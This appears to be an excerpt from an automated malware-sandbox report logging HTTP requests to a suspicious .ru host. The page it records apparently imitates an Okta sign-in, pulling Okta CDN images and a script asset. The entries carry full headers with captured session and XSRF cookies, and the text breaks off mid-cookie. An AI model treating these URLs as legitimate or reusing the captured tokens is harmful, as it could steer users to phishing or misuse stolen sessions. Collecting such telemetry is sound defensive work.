laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlUiLCJtYWMiOiI1MjAyYzJjODJiMWYxMjI3M2M2MTIyZWMwNWE5ZWIxNWZjMjM4ZmEzNmM5YTBjMDI0ODBkYzY4YTNmYTEzOWIxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveOrigin: https://c2uah.yazvbqkl.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlUiLCJtYWMiOiI1MjAyYzJjODJiMWYxMjI3M2M2MTIyZWMwNWE5ZWIxNWZjMjM4ZmEzNmM5YTBjMDI0ODBkYzY4YTNmYTEzOWIxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /349Gmt1GFtekU1wpUIghzCHVrq7eMazbjl5k89101 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlUiLCJtYWMiOiI1MjAyYzJjODJiMWYxMjI3M2M2MTIyZWMwNWE5ZWIxNWZjMjM4ZmEzNmM5YTBjMDI0ODBkYzY4YTNmYTEzOWIxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250326%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250326T223311Z&X-Amz-Expires=300&X-Amz-Signature=ece394d3344a93b260e919cfb0511eafa63de9767437fb52830c0e9cc3818b02&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://c2uah.yazvbqkl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://c2uah.yazvbqkl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uv2LTxIdyrTohqhASH6qQkyY8PDqxvstR93nmwsuIlsfERnL0mqy34128 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlUiLCJtYWMiOiI1MjAyYzJjODJiMWYxMjI3M2M2MTIyZWMwNWE5ZWIxNWZjMjM4ZmEzNmM5YTBjMDI0ODBkYzY4YTNmYTEzOWIxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrWFd2z1S0eE0OUwHxH43wnOrNqngHUobWgh2oPtBDeDQ1djXHXR67133 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlUiLCJtYWMiOiI1MjAyYzJjODJiMWYxMjI3M2M2MTIyZWMwNWE5ZWIxNWZjMjM4ZmEzNmM5YTBjMDI0ODBkYzY4YTNmYTEzOWIxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijjFzAH9d8ZCrlbbUJYhVZkgMzwg1FU3pf6BvbNt89p6EXpDgRpNaQgT1RjflSLZzyz230 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlUiLCJtYWMiOiI1MjAyYzJjODJiMWYxMjI3M2M2MTIyZWMwNWE5ZWIxNWZjMjM4ZmEzNmM5YTBjMDI0ODBkYzY4YTNmYTEzOWIxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnhXTtKSnd2EnObhymzOHchdAv0FLCBM2O56KxQiRHeAXzQGPPglyFvueEkx9cuv220 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlUiLCJtYWMiOiI1MjAyYzJjODJiMWYxMjI3M2M2MTIyZWMwNWE5ZWIxNWZjMjM4ZmEzNmM5YTBjMDI0ODBkYzY4YTNmYTEzOWIxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /qrWFd2z1S0eE0OUwHxH43wnOrNqngHUobWgh2oPtBDeDQ1djXHXR67133 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlUiLCJtYWMiOiI1MjAyYzJjODJiMWYxMjI3M2M2MTIyZWMwNWE5ZWIxNWZjMjM4ZmEzNmM5YTBjMDI0ODBkYzY4YTNmYTEzOWIxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnMF5q6GR6pPSfidW9tT189FWiBOdTuvQzqgHato21TzMM90150 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlUiLCJtYWMiOiI1MjAyYzJjODJiMWYxMjI3M2M2MTIyZWMwNWE5ZWIxNWZjMjM4ZmEzNmM5YTBjMDI0ODBkYzY4YTNmYTEzOWIxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijhDKdJXERIvoQAbAULSEWt9lPA2XCIIOY7q9Cwxc1K14c9eOhXNLf2I56165 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlUiLCJtYWMiOiI1MjAyYzJjODJiMWYxMjI3M2M2MTIyZWMwNWE5ZWIxNWZjMjM4ZmEzNmM5YTBjMDI0ODBkYzY4YTNmYTEzOWIxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uv2LTxIdyrTohqhASH6qQkyY8PDqxvstR93nmwsuIlsfERnL0mqy34128 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlUiLCJtYWMiOiI1MjAyYzJjODJiMWYxMjI3M2M2MTIyZWMwNWE5ZWIxNWZjMjM4ZmEzNmM5YTBjMDI0ODBkYzY4YTNmYTEzOWIxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzhVvvrbtHetJlBWJqFj8ZEAe7Nkop42OfI7xSK2W4sfhcSC9JubG90180 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlUiLCJtYWMiOiI1MjAyYzJjODJiMWYxMjI3M2M2MTIyZWMwNWE5ZWIxNWZjMjM4ZmEzNmM5YTBjMDI0ODBkYzY4YTNmYTEzOWIxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wbWQrtC0CdDe2zFFzbkMMQkDCFplpnpwqu4gx1qPzemTtxCDFEfyV7X7ya6Qlc HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjFHRklGYStYNHF3NnU2M0lYZ3BlOVE9PSIsInZhbHVlIjoiOVpMMlpoWXNaSlZaVWt6QlJseFA1YmR6bDRsT2RwbzZEc2F3RzVmTnFTUjFHaXBuYUxSaHBHb0x1UjYreVJGc0dVbVR4VG9GeE1zMGNLQUFqTDlMbGN6eGgyd1EvTTdFY3ZHZE5KVlNDSi9uS3ROWldrZzdjNG9ML05CL3JIUEwiLCJtYWMiOiJkNzc2NDczYTczMmFkZjMzMDU3YjI3MDkyNWFkZWFhZGEwODJiYmRhY2UzZjUxNGUxMzExMzk1MTU4MWMyNDRkIiwidGFnIjoiIn0%3D; 